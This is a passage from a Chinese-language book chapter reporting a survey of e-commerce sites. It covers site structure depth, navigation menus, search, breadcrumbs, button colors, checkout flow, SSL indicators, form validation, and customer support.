我们应该得出“设计师正在添加更多的导航选项以减小结构的深度”这个结论吗？似乎并非如此。

44％的网站具有5个层级以上的内容结构。只有25％的网站把结构保持在3个层级或更少。迄今为止，4个或5个层级是最常见的深度，占到所有网站的70％。显然，设计师并不热衷于通过更多的顶级选项扁平化他们的网站。

许多顶级选项和深层架构的组合通常使得访问特定的产品相当困难。一般来说，接触到我们调查的网站上的产品并不困难，但很容易看到一些人可能因为遭受挫折而放弃，或者由于其他产品和类别而分心。

一些网站通过在主页上的显要位置展示某些产品和类别，指引人们快速访问它们。我们感到好奇的是，我们的电子商务网站是把人们指引到特定的产品，还是产品的类别。只有一个网站两者皆不是。

网站结构的深度

（网站的数量）
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网站在这里的分化非常大：37％的网站在显要位置展示产品，42％的网站则在显要位置展示类别，还有19％的网站二者兼而有之。设计师显然尝试给访客提供许多选项，这些选项对于那些不熟悉网站或者确切知道他们想要什么的人们来说也许太多了。搜索缓解了这最后一个问题，我们将在下一节中探讨它。

一旦深入到你想要的类别，网站在每个页面上会显示多少个产品？在类别页面上显示20个产品是最流行的选择，尽管只有11％的网站这么做。这里没有真正的一致意见。

26％的网站显示16～24个产品，接近一半的网站（47％）在每个类别页面上显示10～30个产品。我们发现16～24个产品是合理的查看数量。
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通常可以通过产品图像和简短的描述使人们可以方便地进行扫描；一般来讲，不管显示了多少产品，浏览以发现一个你可能感兴趣的产品并不困难。如你所期望的，具有更多产品的大型网站将在类别页面上显示更多的产品。只显示少数几个产品的网站通常会这样做，因此它们提供的产品是有限的。一般来讲，网站将显示合理数量的产品。

网站还允许访客显示比默认数量更多的产品，这是一种受欢迎的特性。可扫描性很重要；在单个页面上扫描类别中的所有产品要比不得不点击到更多的页面以查看所有信息更容易。

我们调查的54％的网站都提供了一些选项，用于更改将显示多少个产品。大多数网站都提供了12的增量（12、24、36、48等）。只有3个网站提供了“View all”（查看所有）选项，而46％的网站没有提供用于显示更多产品的额外选项，尽管其中许多网站已经在单个页面或者至多两个页面上显示了它们的所有产品。

一般来讲，就信息架构而言，我们探讨的网站的设计师提供了尽可能多的用于访问产品的选项和方法，它们通常太多了。
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这对于电子商务网站总是一项挑战，尤其是那些具有许多产品的网站。所有这些网站都不是非常难以使用，查找产品也不是极其困难，但是少数网站使之特别容易，并且这些网站倾向于是提供了少量产品的较小的网站。

教训是，提供7个以上的产品类别可能没有问题——它已经变成了一件平常事，并且大多数购物者都习惯了它——但请小心不要到处都提供太多的选项，因为这样的话，查找产品将成为一种令人灰心丧气的经历，同时用户将感到不知所措并且倾向于离开。

在下一节介绍导航时将探讨一些模式，它们可以缓解与信息架构相关的问题。


 9.4　导航

毫无疑问，导航是任何网站的最重要的方面之一。如果每个人都可以到达网站上他们想要的准确页面，可以快速完成他们的任务然后转向下一个网站，那就太好了。现实情况是，用户并非总是能够到达正确的页面。他们可能有多项任务要完成（无论是他们自己的任务还是你的任务），并且他们可能想探索网站以查看它还提供了别的什么内容。

我们探讨了与电子商务网站如何利用导航系统相关的许多区域。我们主要关心的是网站是否具有水平或垂直系统用于它们的主导航，是否提供了搜索功能，以及是否使用了“面包屑”标识（即位置指示节点）。我们还探讨了网站如何显示它们的种种产品。

大多数网站（80％）在每个页面上都具有水平导航条和垂直菜单。只有19％的网站具有水平系统，没有哪个网站只使用垂直系统。在这两类系统都存在的地方，基于效用的链接，比如“Contact us（联系我们）”、“About us（关于我们）”、“My account（我的账户）”和“Log in（登录）”通常位于水平导航系统中，而产品类别和子类别则列出在垂直菜单中。
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如前所述，你可能希望限制顶级导航选项的数量。这样做自然将创建更深的结构，并且需要次级菜单项以支持主要选项。许多模式中的任何一种都可用于在导航系统中隐藏和呈现额外的菜单项：选项卡、可折叠面板、下拉菜单（即垂直导航系统中的子菜单）和弹出式菜单（水平导航系统中与下拉菜单对应的菜单）。

大型下拉菜单和弹出式菜单需要比简单的列表更多的组织工作。我们探讨的一些网站上的子菜单链接被组织在标题下面，便于总体查看各个部分是如何组织的。考虑QVC网站上的大型下拉菜单（如下图所示）。“Fashion”子菜单链接被组织在多个类别中，使得它们很容易看一眼就被消化。少数几个特殊的链接位于大型下拉菜单的底部，并且利用背景颜色把它们与上面的链接区分开。
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QVC网站具有一个大型下拉菜单，它把链接组织进多个类别中：http://www.qvc.com
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Walmart（沃尔玛）网站上的大型弹出式菜单是类似的。同样，注意链接是如何组织进不同的类别中的，使得可以容易、快速地找到你想要的链接。注意在大型下拉菜单和大型弹出式菜单中如何使主导航链接保持高亮显示，以及注意当与前面看到的导航样式相比时，这些菜单显得有多大。大尺寸使得大型版本更容易使用，因为你不需要像鼠标移动那样精确。
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Walmart结合使用了大型弹出式菜单和垂直导航菜单：http://www.walmart.com

如所期望的那样，我们调查的许多网站都把一个或少数几个主产品类别放在它们的水平菜单中，然后使用诸如下拉菜单或大型下拉菜单之类的模式展示额外的类别和子类别。弹出式菜单和大型弹出式菜单也经常用于展示垂直菜单中的额外选项。

下拉菜单和大型下拉菜单很容易就成为最常见的导航模式，有2/3的网站使用其中一种或另一种模式。它们都是用于克服快速展示许多信息的挑战的方法。一般来讲，大型下拉菜单使用起来要容易得多，并且在它们当中也更容易找到类别和子类别。

通过在水平或垂直系统中结合几个主要类别，大型下拉菜单和大型弹出式菜单似乎是提供对网站页面快速访问的最佳方式，并且是展示内容地图的极佳方式。

23％的网站没有使用这些额外模式中的任何一种，而只依赖于链接的垂直或水平菜单。这非常适合于具有少量产品的小型网站。不过，更大的网站上的导航系统将从这些额外的模式中受益匪浅。

17.5％的网站利用了选项卡，大部分是在主要内容所在的位置并且通常出现在产品页面上。这些选项卡用于呈现诸如产品描述和评论之类的信息。有几个网站把选项卡作为它们的主导航系统的一部分，有时会隐藏第二组水平的子类别链接，有时又单纯由于美感而存在。

9.4.1　搜索

我们关于搜索的第一个问题是网站是否具有搜索表单。包含一个搜索表单似乎是显而易见的，并且事实证明在我们的调查中只有三个小型网站根本没有提供搜索功能。

我们的下一个问题是在搜索框中允许输入多少个字符。Smiley Cat近来着手了一项类似的调查，并且发现搜索框中的平均字符长度是27个字符。
(1)

 Jacob Nielsen建议27个字符是理想的。
(2)

 这两项调查都发现绝大多数网站都坚持使用20～29个字符。在我们的调查中，平均接近于31个字符。
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在我们的调查中，下一个最流行的范围是30～39个字符，其后是10～19个字符。在你的网站上坚持使用20～29个字符可能是最佳的——理想情况下，建议使用27个字符。

另一个与搜索相关的问题是搜索框的位置。根据惯例，它应该位于页面的右上方，我们主要是在这个位置发现它们的。下一个最流行的位置是左上方，其后是中上方。把搜索框放在标题中的某个位置是有意义的，几乎每个网站都这么做。
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另一种使用得越来越多的搜索是过滤搜索，这种搜索方式将在浏览时筛选出你不想要的结果。如果你正在寻找价格低于150美元的照相机，就可以筛选出所有具有更高价格的照相机。定价和品牌是网站允许访客筛选结果的最常用的方式。

我们探讨的大多数电子商务网站（65％）都包括某种过滤搜索。网站越大，可以描述或标记产品的方式就越多，过滤搜索就越有可能存在。

Barnes&Noble网站是过滤搜索的一个优秀示例（如下图所示）。依赖于你在层次结构中所处的位置，你可以筛选你的搜索，以只显示平装书、精装书、有声读物、电子书、套装书、价格以及几个其他的条件。该网站还允许在图书的特定类别内执行标准搜索。总体来讲，筛选产品的良好体验将有助于访客找到他们所想要的产品。
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Barnes&Noble网站上的过滤搜索

过滤搜索更多的是一种浏览辅助手段，而不是一种目标搜索形式。可以应用于产品的任何类别或标签都可以被设置为过滤搜索条件。你可能不希望主导航系统围绕价格定位，但是没有理由不让访问者按价格范围筛选搜索结果。

[image: ]


9.4.2　“面包屑”标识

“面包屑”标识是让人们知道他们来自何处以及他们在网站结构中位置的最佳方式之一。“面包屑”标识可以立即确定当前页面，并呈现到达该页面所要遵循的路径。它们传达了关于用户的当前位置和网站内容的层次结构的如此多的信息，以至于似乎就像是不假思索地包括它们一样。

在我们的调查中，74％的网站使用“面包屑”标识链接的路径记录。这相当多，但是它也意味着还有26％的网站没有使用它。对于具有浅显结构的网站，“面包屑”标识可能不是必要的，因为访客几乎不会远离主页一个层级以上。

另一方面，像Play.com（它深达5个层级）这样的网站将从“面包屑”导航标识的路径记录中获益。如果我们点击了网站的其他部分，那么通常难以找到用于返回到我们想要的产品的路线。

我们还注意到，就像它们通常是有益的一样，“面包屑”标识的路径记录仍有可能让人混淆。一些网站在“面包屑”标识的路径记录中包括了过滤搜索标签，或者显示可用于到达当前页面的替代路径。当“面包屑”标识坚持显示到达页面的最明显的路径时，它们工作得最好。

蓝色、灰色和黑色是“面包屑”标识链接中最常见的颜色。通常，将给它们提供一种适应网站的总体方案的颜色。分隔“面包屑”标识链接的最常见的方式是利用“大于号”（>）字符。大多数网站都使用HTML字符，尽管有一个网站使用了它的图像。在分隔“面包屑”标识的其他方式当中，没有哪一种方式比另一种方式更流行，但是一种似乎工作得很好的方式是相对于背景形状来设置链接，然后使用颜色来区分层次结构中的不同层级。

总之，最有用的网站是那些使用多种导航系统的网站，包括用于常规浏览的菜单链接、用于详细地浏览的过滤搜索、用于定位的“面包屑”标识，以及当所有其他方法都失败时或者当用户准确知道他们想要什么时可以使用的搜索功能。大型下拉菜单和大型弹出式菜单也极大地增强了浏览功能。


 9.5　颜色

人们会在多个方面受到颜色的影响。颜色可以从情绪上、心理上、身体上以及社交上影响我们。颜色可以建立信任，使我们冲动，增加我们的欲望，改善我们的健康状况以及设置一种情绪。

我们调查的网站怎样处理颜色呢？某些颜色使用得比其他颜色更频繁吗？某些网站元素通常被赋予某些颜色吗？我们首先将探讨主色和辅助色，然后将更密切地探讨链接、按钮、购物车图标以及“Add to cart”（加入购物车）和“Check out”（结账）按钮。

9.5.1　常规的配色方案

电子商务网站倾向于具有中性的配色方案。在我们的调查中，80％的网站为绝大多数元素使用了较淡或较深的中性方案，包括页面背景和内容背景。它们通常是白色或者非常淡的灰色。考虑像Office Depot这样的网站（参见下图）。
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大多数电子商务网站都具有中性的配色方案。Office Depot使用灰色渐变和红色作为辅助色：http://www.officedepot.com

主页上有许多红色和一些蓝色。尽管如此，页面仍然是由中性的白色和灰色主导的。红色和蓝色都是辅助色。我们调查的其他大多数网站也主要依赖于中性的颜色。

蓝色是下一个最流行的主色，尽管只在9％的网站上使用了它。大多数网站都把它们的大多数页面保持为中性的。它们在辅助色的使用上变化很大：即填充标题、脚注和侧栏的颜色，在按钮和页面标题中使用的颜色以及用于突出显示特殊区域的颜色。

在56％的网站上以某种方式使用了红色。由于红色是一种醒目的强烈的颜色，因此它是吸引对重要元素的注意力的极佳选择。47％的网站使用了蓝色，人们通常把它与平静和可信赖性关联起来，这并不令人感到奇怪。其次是绿色和橙色，分别有30％和23％的网站使用了它们。

总之，我们调查的网站是利用中性色调、蓝色和红色以及程度较轻的绿色和橙色开发的。绿色通常用于代替蓝色，橙色则用于代替红色。

9.5.2　链接

理想情况下，根据惯例，链接是蓝色的并且带有下划线。42％的网站是这样做的，其次是黑色和灰色。黑色或灰色非常适合于期望链接的地方，但是通常很难把它与纯文本区分开。许多为链接使用黑色或灰色的网站只包含很少未被链接的文本，或者没有包含这样的文本。一旦访客了解这一点，那么识别链接就很容易，但是初看上去也可能很容易使他们混淆。再次则是红色，这最有可能是因为它与黑色和灰色文本之间形成了很好的对比。

9.5.3　按钮

我们发现有相当多的颜色用于按钮，最常见的依次是蓝色、灰色、橙色、红色和绿色。这有些令人感到奇怪；我们期望更多地使用红色，因为它非常醒目并且可以鼓励人们冲动地采取动作。橙色相比红色的程度要轻一些，并且使用这两种颜色的网站占到了50％以上。我们在调查中包括了所有的按钮，包括那些用于搜索的按钮，它们通常是灰色的。
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许多设计师都会选择与网站上的其他颜色形成对比或者适应总体方案的按钮颜色。例如，Howies网站主要是淡色和中性的配色方案。大多数按钮是深灰色的，非常适应配色方案，并且相对于较淡的背景很醒目。
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Howies网站具有较淡的配色方案以及深灰色的按钮：http://www.howies.co.uk

尽管如此，人们必定还是想知道几乎任何其他的颜色是否会导致更多的产品被加入购物车中。几乎任何颜色都将比深灰色更醒目。

我们特别感兴趣的两个按钮是“Add to cart”和“Check-out”按钮。网站操作员希望这些动作请求按钮被用户注意到。如所期望的那样，红色和橙色是“Add to cart”按钮的流行选择，其中橙色更常见（23％∶19.3％）。这两种颜色都很醒目，并且会吸引对按钮的注意力，这正好就是它们的意义所在。如果它们使我们稍微更倾向于点击它们，那么就实现了它们的目的。

蓝色是另一种更流行的选择，并且出现在19.3％的网站上。也许它的普及性要归因于与该颜色关联的可信赖性。由于可信赖性对于在线销售是如此至关重要，因此选择蓝色是有意义的。虽然少数带有蓝色按钮的网站具有主要是蓝色的配色方案，但是大多数网站都不是这样。在后一类网站上，蓝色通常是相对于主导的中性方案设置的，有助于使它更醒目。不过，采用蓝色的“Add to cart”按钮不像采用红色或橙色那样醒目。

绿色和灰色是其他流行的选择，不过较少使用（每种颜色各有12％的网站使用）。选择它们似乎更多地是为了匹配配色方案，而不是出于其他任何理由。绿色比灰色更醒目，并且具有与蓝色近似的对比，但它的使用仍然远少于红色和橙色。
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“Add to cart”按钮的颜色

在“Check-out”按钮上也使用了这些相同的颜色。使用红色和橙色的比例各占19.3％。蓝色被证明是用于“Check-out”按钮的最流行的颜色，将近25％的网站使用了它，这同样很有可能是由于它与可信赖性相关联。

绿色也有些流行，出现在10％稍微多一点的网站上，其后是黑色和灰色，它们加在一起总计使用在9％的结账按钮上。

我们还对用于购物车图标的颜色感兴趣，它们也应该会吸引注意力，只不过没有结账按钮那样强烈罢了。同样，蓝色最流行（23％），虽然红色和橙色也比较常见，不过没有那么流行（分别占14％和10.5％）。

绿色和灰色也相当常见地用于购物车图标，分别占14％和10.5％。令人感到奇怪的是黄色，它似乎侵占了红色和橙色图标的一部分份额。黄色自身可以吸引注意力，但是不像红色和橙色那样强烈。它具有令人愉悦的关联，并且与智慧联系在一起。也许这种颜色用于暗示客户通过把产品加入到他们的购物车中而作出了聪明的选择。
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“Check-out”按钮的颜色

总体来讲，我们的网站在选择颜色时紧密地遵循理论。红色和橙色很常见，因为它们可以吸引注意力，蓝色则用于获取信任。在结合中性方案时，最好坚持使用其中一种颜色。中性调色板中规中矩地转移对内容本身的关注，并且在需要的地方允许更鲜明的颜色吸引注意力。


 9.6　结账

如果没有购物车和结账系统，那么任何电子商务网站都将是不完整的。这类网站上的几乎所有的一切都会驱动人们首先把产品加入他们的购物车中，然后通过结账流程。

把产品加入购物车中以及完成结账流程应该对于用户尽可能简单。用户希望填写尽可能少的表单，并且他们希望得到关于接下来做什么的清楚指示。他们希望被保证结账流程是安全的，并且他们更喜欢不必注册一个账户即可购物。

由于购物车和结账流程非常重要，因此在我们的网站调查中，它们占用了我们最多的时间。我们尝试查看网站如何处理上述的挑战。

9.6.1　按钮的用语

我们首先探讨按钮的用语。“Add to cart”是迄今为止最流行的用语，用于把产品加入购物车中的链接，并且有65％的网站使用它。其次是“Add to bag（加入购物袋）”，将近有16％的网站使用它。我们探讨的大多数网站都是以美国为基地的—如果我们探讨更多的英国网站，这些百分比数字很可能有大的变化。

“Add to cart”按钮的用语

（网站数量）
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在剩余的网站中，有几个网站使用“Add to cart”和“Add to bag”的变体。一些网站除了显示文本之外还会显示一个购物车图标。少数网站使用购物篮（basket）代替购物车（cart）或购物袋（bag）。一般来讲，除了少数网站以外，所有其他网站上的用语都是“Add to …”，其中接着“cart”、“bag”或“basket”之一。有趣的是，“Add to bag”倾向于主要用在把女性作为目标受众的地方，它在我们调查的不那么小众化（niche-oriented）的网站上比较罕见。

“Check out”按钮的用语

（网站数量）
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少数几个避免使用“Add to”用语的网站具有“Buy”或“Buy now”的一些变体，这很可能基于以下假设：即更强烈的面向动作的词语可以刺激用户采取更多的动作。我们的结论是：你最好使用“Add to …”用语，并且利用第三个词反映绝大多数客户所处位置的最常见的用法。

与“Add to cart”按钮一样，大多数设计师不会对“Check out”按钮产生奇思异想。“Check out”有时被拼写为一个单词，有时则被拼写为两个单词。一些网站邀请我们“Check out now”（现在结账），而其他网站则鼓励我们“Continue”（继续）、“Proceed”（继续进行）、“Start”（开始）、“Go to”（转到）或者“Begin”（开始）结账流程。

我们发现的最有趣的事情是：网站在按钮中使用单词“Secure”（或者它的变体），比如“Proceed to secure Checkout”（继续进行安全的结账）。虽然这必然需要一个更宽的按钮，但它确实清楚地传达了至关重要的信息，即该流程是安全的。在用户必须点击以便结账的地方，更宽的按钮将使之更明显（如果有的话）。

9.6.2　安全性（SSL）

除了一个例外之外，我们探讨的其他每个网站都使用SSL（例外的网站使用的是Pay Pal）。我们很高兴地看到没有网站不安全地接受信用卡及其他敏感信息。不过，网站在它们何时启动SSL以及如何通知客户流程是安全的这些方面确实存在差别。

大多数网站都在两个位置之一启动SSL。超过68％的网站在登录或注册页面开启它，将近23％的网站在第一个结账页面开启它，对我们来说这两种方式似乎都很好。实际上，只需要在跨Internet传输敏感信息的页面上使用SSL。
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例如，e For City.com把SSL延迟到其结账流程的第二个页面才开始使用；尽管第一个页面确实是购物车页面，因此SSL实际上是在与大多数其他网站相同的时间开启的。少数网站在购物车区域自身中启动SSL。虽然从技术上讲这是不必要的，但它是使人们感到更安全的良好方法。

总体来讲，在流程中开启SSL的时间越早越好。在登录或注册页面上开启它要好于在第一个结账页面上开启它，并且在购物车页面上开启它还要好一些。在购物车页面之前可以安全地忽略SSL。
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使用SSL是一回事，让用户知道你在使用它则是另一回事。人们希望感觉到他们被确保可以安全地共享他们的信用卡详细信息和联系信息。虽然这些网站都在使用SSL是非常好的事情，但是它们会怎样把这一点很好地传达给它们的用户呢？令人遗憾的是，在我们的调查中一半以上的网站根本没有给出任何指示。53％的网站把它留给浏览器来显示正在使用SSL。考虑到这个惯例（显示一个锁形图标）有多简单，就会知道有太多的网站在这一点上很失败。

几乎一半的网站确实会指示SSL的存在，其中有少数网站在这方面做得非常好，并且会使之非常明显。网站以三种常规的方式之一让用户知道流程是安全的：锁形图标、文本消息或者一个或多个证章。有几个网站甚至使用了它们的组合。

最常见的方法是锁形图标。它是安全的通用符号，在指示使用了SSL的网站中，有48％的网站采用它（占调查的全部网站的23％）。19％的网站（占全部网站的9％）具有某种文本指示，通常是在结账按钮中，如我们上面所看到的那样。

15％的网站（占全部网站的7％）显示了提供安全证书的公司的一个或多个图标。另外15％的网站（占全部网站的7％）结合了锁形图标与指示安全性的文本或证章。下一个问题是：网站（至少是那些指示安全性的网站）应该在什么位置让用户知道流程是安全的？结果有些令人感到奇怪。鉴于安全图标或标志可以极大地建立信任和克服人们对于在线购物的忧虑，你可能期望网站在每个页面上都指示它们的安全性。

[image: ]


Callaway Golf网站在购物车区域中向“Secure Checkout”按钮中添加了一个锁形图标。在结账流程中的每个页面顶部这个锁形图标仍然存在：

http://shop.callawaygolf.com

大多数网站都在三个位置之一显示它们的安全图标、证章或文本。最常见的位置是在登录页面上的某个位置，占显示安全标志的网站的27％（占全部网站的12％）。23％的网站（占全部网站的11％）在结账按钮中指示安全性，还有15％的网站（全部网站的7％）在购物车区域中指示这一点。
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Callaway Golf网站还在结账页面上显示了Thawte安全标志

23％的网站（占全部网站的12％）只在结账流程开始之后才指示安全性。其中大多数网站选择页面顶部，而有一个网站把它放在底部的侧栏中；所有这些网站都在结账流程中的所有页面上显示指示标志。

Zappos.com从其他网站中脱颖而出（参见下面的截屏图）。在右边的侧栏中，它显示了一个锁形图标，以及几条证实网站安全性的消息。注意锁形图标与“Proceed to checkout”按钮有多接近。一旦你看到该按钮，就会别无选择地看到锁形图标。看到它也是一个完美的时刻。在侧栏消息下面是Better Business Bureau和Biz Rate的证章；虽然它们实际上不是安全公司，但是它们可以产生与其他安全消息相同的效果。
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在Zappos网站上，在右边的侧栏中显示了一个锁形图标，以及几条证实网站安全性的消息：http://www.zappos.com

9.6.3　结账流程

当然，最至关重要的是结账流程本身。并非开始结账的每一个人都会完成它，并且太多的网站都报告了很高的放弃率。最佳实践是使该流程尽可能容易。当人们开始结账时，他们非常有可能想从你那儿购物。只要你不让他们难以执行该操作，那么大多数人都将会完成他们的购物操作。

我们探讨该流程的五个不同的方面。

●　需要注册一个账户吗？

●　该流程中有多少个页面？

●　会提前显示页面数量吗？

●　允许用户选择一个同时用于送货和开账单的地址吗？

●　表单会被验证吗？如果是，怎么验证？

35％的网站要求创建一个账户以便进行购物。所有这些网站现在都在记录上具有Homer Simpson作为注册用户；在这项调查中，Homer是一名活跃的购物者。送给所有的电子商务网站一句话：如果你不喜欢把账户注册到Homer Simpson以及其他的虚拟人物，那么就不要要求用户公开一个账户以便进行购物。给他们提供一个选项，当然要在流程的末尾给他们一些激励，但是要让他们作为临时访客购物。

虽然所有的网站都会在某个时间要求提供一个电子邮件地址，但是少数不要求用户创建账户的网站确实要求他们在继续结账流程之前提交他们的电子邮件地址。这不是像要求用户创建账户那样重大的问题，但是尽管如此，公司无论如何都需要将该信息作为结账流程的一部分，那么为什么不在那之前要求用户提供它呢？

没有人喜欢填写表单。对于我们不得不填写的表单，当然是越短越好。最佳实践是，只要求填写所需的信息，而别无其他。对于像结账这样的多表单流程，原理是相同的：使表单尽可能短并且不会让人感到痛苦。
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尽管如此，网站操作员仍然需要收集相当多的信息。至少，他们需要送货、开账单和信用卡信息。他们还可能需要关于送货优先选择的信息。并且由于他们正在要求用户付钱，因此他们还应该显示一个摘要页面，以便让用户在确认他们的订单之前进行检查。大多数网站都会展示一个确认页面，用户可以在其中记录他们的订单和跟踪编号，公司则可以在其中感谢用户购物。
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具有5个步骤的经典的结账流程：开账单地址、送货地址、送货方法、付款方法、订单审查和提交订单。参见http://www.eastbay.com

这给我们提供了四个具体的信息分组：发货、开账单、摘要和确认。然后，我们可以期望粗略地看到结账流程中的四个页面，或者单个页面上的四个具体的区域。

这与我们在实际中发现的相匹配。在我们的调查中，恰好有1/3的网站具有四个页面的结账流程，并且70％的网站具有三至五个页面。一些网站把登录或注册算做为流程的一部分，而其他网站则给它们提供了单独的页面。
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在Everything But Water网站上，结账流程被很好地缩减为三个步骤。这里的送货地址默认与开账单地址相同：http://www.everythingbutwater.com

16％的网站在单个页面上包括了所有的表单。一般来讲，这意味着用户必须填写一个区域才能访问下一个区域，这与他们仅仅为了获得更愉悦的体验而不得不点击到达另一个页面非常相似。虽然可以收集相同的信息量，但是把它们都放在单个页面上并且把不需要的元素隐藏起来将使人们感觉到不那么劳神费力。使用Ajax切换到下一个信息区域将使人们感觉到比加载新页面更快一些。
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绝大多数网站（86％）会提前显示它们的结账流程中有多少个页面。自然，在单个页面的结账流程中这个数字是不言自明的，但是甚至具有多个页面的网站也可以很好地让用户知道他们还需要做多少工作以完成他们的购物操作。这是一件令人愉悦的意外之事。人们不得不对另外14％的网站在想什么感到迷惑。

总体来讲，单个页面的结款流程是最好的。它们看起来最短，并且似乎可以最容易、最快速地填写它们。其中大多数网站都屏蔽了不需要由用户主动填写的区域，这有助于使他们不会感到心力交瘁。

次佳的是包含四个或更少页面的结账流程，并且会提前显示还有多少页面有待填写。

使结账流程更容易、更快速的一种简单方式是允许用户利用一个复选框把他们的开账单地址复制到送货区域（或者反之亦然）。这两个地址并非总是相同的，但是它们通常是相同的，这就可以避免让用户填写两次信息。

幸运的是，几乎所有的网站都提供了这个选项。其中几乎90％的网站提供了某种机制，利用来自一个地址区域中的数据填充另一个地址区域。事实上，9％的网站假定这些地址默认是相同的，并且会自动填写第二个区域（开账单地址通常是第二个地址）。

9.6.4　表单验证

由于所有这些信息都要填写，用户一路上不可避免地会犯错误。电子商务网站如何处理错误？错误是实时指出的吗？将在提交表单之前或之后显示错误吗？在我们调查的网站上出现了几个与表单验证相关的模式。

不幸的是，最常见的解决方案也是对用户最不友好的解决方案之一。39％的网站没有使用Ajax，并且只在提交表单之后才显示错误，因此需要完整的页面刷新。少数网站（9％）甚至不怎么便于使用，它们在显示错误前需要与服务器之前进行完整的往返通信。

在另一种极端情况下，9％的网站提供了实时验证。一个良好的示例是Office Max网站。从名字字段移到姓氏字段将触发一个错误警告。我们看到的错误消息一般清楚地说明了产生的是什么错误。
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Office Max网站使用实时验证；通过从一个字段移到另一个字段来触发错误：

http://www.officemax.com

我们设法在一些字段中轻松地欺骗表单，比如为邮政编码输入一个不正确的位数，或者在电子邮件地址字段中只输入一个@符号。不过，总而言之，可以模仿其他网站提供的优美、有用的表单。

大多数网站都位于这两个极端之间，在余下的网站中，大多数网站要么在提交表单后通过Ajax验证它（26％），要么在提交表单后弹出一个窗口（通过JavaScript）显示错误（12％）。

明显的领导者是实时显示错误的网站，紧随其后的是那些通过Ajax刷新显示错误的网站，它发生在单击“Submit（提交）”按钮之后，但是在把表单数据发送给服务器之前。

太多的网站需要进行完整的页面刷新，或者更糟糕的是，通过Web表单进行完整的往返通信；显然，这些电子商务操作员结合使用一些帮助与表单验证，因为脆弱的错误消息是使用户感到沮丧并失去他们的最快速的方式。


 9.7　联系和支持

如果一切都像期望的那样工作，并且对于我们购买的物品或者我们购物的网站，如果我们从未遇到过关于它们的问题，那么生活真是太美好了。现实情况是，人们确实会有问题并且需要联系网站操作员，以查找产品的问题或者询问关于他们的账单的问题。

企业响应用户提出的问题的方式是其获得成功的重要因素。帮助用户——并且通过那些用户告诉他们的朋友你能够多么好地提供帮助——对于建立稳定的业务关系和良好的口碑非常重要。无法提供充分的支持将只会导致一次性购物者和很少的新用户。

在我们的调查中网站如何处理用户支持？虽然我们不会实际地联系任何所有者，但是我们确实会检查联系他们有多容易以及联系他们的方式。

我们还会检查他们是否尝试通过他们的网站回答用户提出的问题，并且检查查找联系信息以及诸如隐私政策和服务条款之类的信息有多容易。

9.7.1　联系

我们想知道的第一件事是查找联系页面有多容易。网站把指向它的链接放在什么位置？

在我们的调查中，Amazon是唯一一个没有使指向联系页面的链接在整个网站中可见的网站。它的链接稍微隐藏在帮助页面的底部，甚至需要几次点击才能接触到任何实际的联系信息。其他网站都具有指向联系页面的稳定、永久的链接，通常位于标题或脚注中。

页面的底部是最流行的位置，65％的网站把链接放在脚注中。脚注的左侧最常见，其次是右侧，余下的少数网站则把它放在中间。19％的网站把链接放在标题中，其中大多数选择右侧。少数网站把它放在中间，没有任何网站把它放在左边。14％的网站则把链接稍微隐藏在下拉菜单中。

所有这些发现都不令人感到奇怪。页面的底部是最明显的选择，那里的链接很容易找到——但它不是在你的脸上，从而会吸引那些不会发送电子邮件或者打电话给公司的客户。

联系表单比简单地显示一个电子邮件地址更受欢迎。46％的网站具有一个表单而没有提供电子邮件地址，而35％的网站则发布了一个电子邮件地址但没有提供表单。17.5％的网站两者都提供了，只有一个网站（Play.com）两者都未提供，至少我们两者都未发现。

在我们的发现当中，以下几点比较引人注目。

●　大多数网站没有显示物理地址。只有35％的网站这样做，并且它们中的许多网站都是把用户指引到本地分店的零售店。

●　大多数网站（82％）都发布了电话号码。这是有意义的：大多数人都会在打电话前发送电子邮件或者填写表单，但是为了以防万一，他们仍然喜欢知道电话号码是可用的。

●　72％的网站至少会显示一个链接到社会媒体形象的图标。在那些这样做的网站中，大多数网站都会显示多个这样的图标。

●　37％的网站提供了实时聊天功能。它通常出现在每个页面的侧栏中，尽管有几次我们直到在产品页面上或者在购物车区域中犹豫不决时才注意到它。

●　支持票据系统和论坛不是处理用户问题的常见方式。84％的网站没有提供其中一种功能。

●　非常多的网站是开放式的，具有“知识库”或者FAQ页面。81％的网站具有其中一种功能；我们认为所看到1/3的FAQ大得足以胜任知识库。

●　大多数网站（75％）发布了隐私政策和服务条款。17.5％的网站只有隐私政策，3.5％的网站只有服务条款。另外有3.5％的网站两者都没有提供，但是它们是较小的网站，可能不需要它们。

9.7.2　网络宣传

公司自然必须以某种方式宣传它们自己，从而把人们吸引到它们的网站上来。不过，宣传并不止于此。许多工作都是在网络上做的，以便继续向访客宣传自己。我们感兴趣的是公司如何完成销售、把购物者转变成回头客以及鼓励用户为公司做宣传。

9.7.3　完成销售

所有的电子商务网站的主要目标是销售。当人们登录你的网站时，你将希望他们在离开前买点什么。自然，它极大地依赖于你是否具有适当的产品、适当的价格和复制品，以消除他们的疑虑。

用户具有的主要疑虑是缺乏对网站或产品的信任。他们不情愿购物，害怕产品与他们所期望的相去甚远。人们不能在Web上拥有产品，因此他们通常倾向于等待，直到他们可以在本地商店找到想要的物品为止。电子商务网站可以用多种方式消除这些疑虑，下面将探讨其中几种方法。

9.7.4　免费送货

第一种方式是提供免费送货。虽然它不一定会消除信任的缺乏，但是免费送货确实使产品的价格与实体商店看齐。从某个方面讲在线购物更方便，但是大多数人不喜欢为此支付额外的费用。然而送货会花费企业的钱。

我们的网站愿意花这种费用以销售更多的产品吗？大多数不会。53％的网站不提供免费送货。鉴于涉及的费用，这是可以理解的。一般来讲，企业越小，它们越不可能提供免费送货。32％的网站对所有订单都提供免费送货，比我们期望得要多。

[image: ]


免费送货

余下的网站（14％）有条件地提供免费送货。其中，大多数网站把送货与购物价格捆绑在一起。网站在客户必须花费多少钱以便获得免费送货资格方面有所差别；一些网站把它设置为25美元，其他网站则设置为50美元。有一家公司（Book Garden，销售图书给老师）把它设置为500美元，就网站的性质来说，这并不过分。有一个网站给会员提供免费送货，另有一个网站对新用户的第一个订单提供免费送货，还有一个网站对国内订单提供免费送货。

有条件地提供免费送货是有意义的，因为它可以增加销量。谁没有在Amazon上仅仅为了利用免费送货而订购额外的物品呢？给第一次的购物者提供免费送货很可能有助于完成那些第一次的销售，并且给会员提供免费送货很可能增加会员人数。

9.7.5　信任

我们探讨的与完成销售相关的其他领域可以归结为一直都很重要的信任问题。建立信任并消除感知风险的一种明显的方式是提供担保或退货政策。

绝大多数的网站（87％）都提供了某种担保并且接受退货。这为用户创建了一种安全网。他们知道如果他们被购物者的懊悔所打动，那么他们就可以退还订单。

